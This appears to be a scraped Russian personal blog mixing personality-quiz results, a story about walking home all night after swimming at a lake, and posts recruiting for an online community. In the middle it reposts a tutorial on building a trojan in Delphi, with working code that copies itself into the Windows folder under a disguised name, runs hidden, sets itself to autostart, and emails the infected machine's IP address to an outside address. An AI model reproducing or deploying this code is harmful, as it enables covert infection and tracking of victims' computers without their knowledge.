Охохохох кто-ж придумал выходные сделать рабочими (
Я ВЕРНУЛСЯ НА ДНЕВ )
Вы - Дракон.
[показать]Вы умны, рассудительны. Вы-одно из самых ранних существ появившихся в мире.У вас большой опыт, так как вы многое повидали.
Вампир
Даже если сейчас ты и не вампир, то у тебя есть все шансы стать им, если будешь продолжать в том же духе. Люди для тебя - всего лишь серые индивидумы, жизнь и чувства которых ничего не стоят, но наблюдать за ними - твоя духовная пища (а может и не только духовная :))Вы - Тень.
[показать]У вас нет хозяина. Вы служите тому, чьи интересы совпадают с вашими. Но учтите, что после смерти есть время по-другому взглянуть на вещи.
80%из 100%
Знак особый. Такие люди как правило пришли на землю не надолго. Поэтому их очень мало. У тебя есть дар мистицизма. Может тебе удасться раскрыть и использовать его. Многие люди,имеющие такой необычайный дар погибали не используя его в жизни, так как не знали о нём.
Ты же теперь знаешь. Не пропусти мгновение, когда судьба протянет тебе руку.
Фотограф
Вы видите жизнь в полном цвете, причем не только через линзу фотоппарата. Вам нравится ваша жизнь и вы с удовольствием запечатляете самые яркие ее моменты.
Спустя 2ва года моего отсутствия я всётаки вернулся !!!!!!!!1
День начинался харашо проблем ничто непредвешяло
долго недумая гдето в 15,00 решил позванить однокурснику Тохе (тоха- сокрашение от Антон)
ну забили встречу в парке пришол я туда чуть раньше и позванил ему где он
дома его небыло я думал что он как всегда все облажает !!!
Но нет спустя 5 минут примерно поевился тоха с бутылкой пива !
посидели мы вспомнили деньки учебные и недолго думая пашли к нашему знакомому !!!
Знакомый это нефр но прикольный ! пазванили ему сказали что идем и чем он прикольный
еше недойдя и половины растояния от парка до его хаты смотрим он стаит и ждет !!!
в его стиле !!!
Ну долго недума он предложил сходить на озеро покупатси ну мы и согласились (очем я поже очень пожелел).
Купались мы на озере до 00.00 полуночи вода супер!!! а патом решили всетаки подамам идти ну дошли до маста а там всем в разные стороны
тока мне на маршрутке еше гдето около часа ехать ну попрашялись и я пашол на остановку а они по домам.
ну стаю жду жду жду недождался долго недумая поняв что я влип по самые небалуй а это примерно 25-30 км сел на бардюр
и падумал бля в жизне так невлепал бля пайдемс пешком к пацанам нереал точно знаю у федора дома мать и ремонт
у тохи а бля а нем лучше промолчать.
В кармоне 20р и все, точней сказать эть все что осталось.
купив пачку сигарет и менералки паперся дамой после гдето 1 часа менералка здохла,(жуть)
Но блин к утру дашол до дома всетаки гдето к 5.00 утра аткрыв дверь квартиры вашол в комнату и мертво рухнув спать.
PS: Дети нехадите по начам купатси на озера !!! Ато утонете ХАХАХА
Ну или как я но бля ноги досихпор балят но хоть руки больше нетресутьси ВОТ ...
Всегда ваш пешеход ХАХА
[700x560]
СОЗДАНИЕ ТРОЯНА НА DELPHI 4.0
Сегодня мы рассмотрим как сделать простенького трояна на Delphi. Кто-то спросит: "а зачем это надо? их и так до хрена.." вот поэтому и надо, что их дохрена и большинство делает не то что надо. Итак, приступим: сначала сделаем простенький троян, а потом будем наращивать его функциональность.
Пока что для создания трояна будем пользоваться стандартными компонентами Delphi и навесными, которые можно свободно скачать. Да и еще, дельфи нужна 2, 3 или 4-я, любителей 5-ой обломаю - она больно глючная. Ну чтож, приступим, для начала создадим форму (кто умеет без форм - будем без форм).
Накидаем на форму: TRaylightAutostart, TOnlineIP, TNMSMTP. Пока хватит, потом еще добавим ежели что :-). В OnCreate формы пихаем следующее:
var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;
Что это всё делает:
var WinPath : array [0..255] of char;
CurPath : String;
Объявление переменных. WinPathбудем использовать для каталога винды,
а CurPathдля текущего каталога.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Заполняем переменные, надеюсь эти функции в знаете, ежели нет, то вам
прямая дорога в хелпы.
If pos(WinPath, CurPath) <> 0 then
Если наш файл в каталоге винды, то
With RayLightAutostart1 do
begin
AppName := 'IntraNet';
Как зарегестрируемся в реестре, то биш как назовемся, а назавемся "Intranet"
- что то знакомое, а что делает не помним :-).
StartNextLogon := True;
Запускаться при следующем старте винды - да. То есть теперь при перезагрузке
винды мы запустимся и пропись в реестре будет в несовсем обычном месте, а
именно в RunOnce, а не в Run.
end
else
Ежели файл не в каталоге винды, то идем сюда и копируем его в каталог с
виндами, а потом сами себя запускаем и закрываемся... или во всяком случае
пытаемся :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
Ну чтож, процедуру автозапуска мы сотворили, теперь вирь каждый раз при запуске машины будет сам себя инициализировать, а при запуске из каталога отличного от виндов, мы сами себя скопируем.
Теперь нам при выходе компа в инет надо послать письмо, так? ну чтож, так и сделаем.Cледующтй код ставим в событие OnChangeу OnlineIP:
If not OnlineIP1.Online then exit;
если мы не в сети, то выходим из процедуры
NmSMTP1.Connect;
Коннектимся SMTP клиентом к серверу (SMTP)
if NMSMTP1.Connected then
Если подконнектились, то
begin
NMSMTP1.SubType := mtPlain;
Тип письма: обычный текст
NMSMTP1.PostMessage.FromAddress := '';
От кого письмо идет (адрес)
NMSMTP1.PostMessage.FromName := 'First Thojan';
От кого идет письмо (имя)
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
На какой адресс шлем письмо
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
Что будкт в теле письма. У нас просто будет IP машины (пока что)
NMSMTP1.PostMessage.Subject := 'Server is online';
И наконец, какая тема у письма
NMSMTP1.SendMail;
И вот наше письмо тютю :-).
end;
P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка!
ДА ДА я открыл новое сообшество тока оно звкрыто на заявки принемаютси от всех желаюших сылка ниже
Бля Бля Бля тока правел набор еше 4 места осталось !!!
Но есть и патери сегодни патерял оч замечательную [показать] и красивую [показать] девушку !!!
Блин очь очь желко можно было патом какнибуть сьезделбы к ней
в гости [показать] на чай !!!
Ну больше ничё харошего нет !!!
Кроме таго что забил я сегонь на работу а завтра атхвачу зя это тяки пиздюлей !!!
ОГОГО !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [699x430]
Блин проводил свой первый набор и решил набрать втарой ...
Зашол к пятаму памойму, спрасить есть вапросы иле нет а тут те на атвет не ненадо я в 10 раз днев регаю
и все знаю .... (Грубовато однако)......
Набрав 6 из 10 решил пока тармазнутьси но набор всетаки я доберу
Поздравляю свойх двух подопечных с их выпуском в жизнь !!!
Особенно
LenO oRe и
слеза Билла
Это два самых моих спасобных ученика !!!
И я очень рад что они были моими подопечными !!!
а картинка вам ана такая шкадная !!!
Вот те на апекун жраный в зюююююзюююю думал шя преду анять вапросами закидают и мне предетси на них атвечать а тут такое СШЯСТЬЕ нет некого с утра все кудато правалились ВО БЛИН ВЕЗЕТТТТОООО КАК !!!
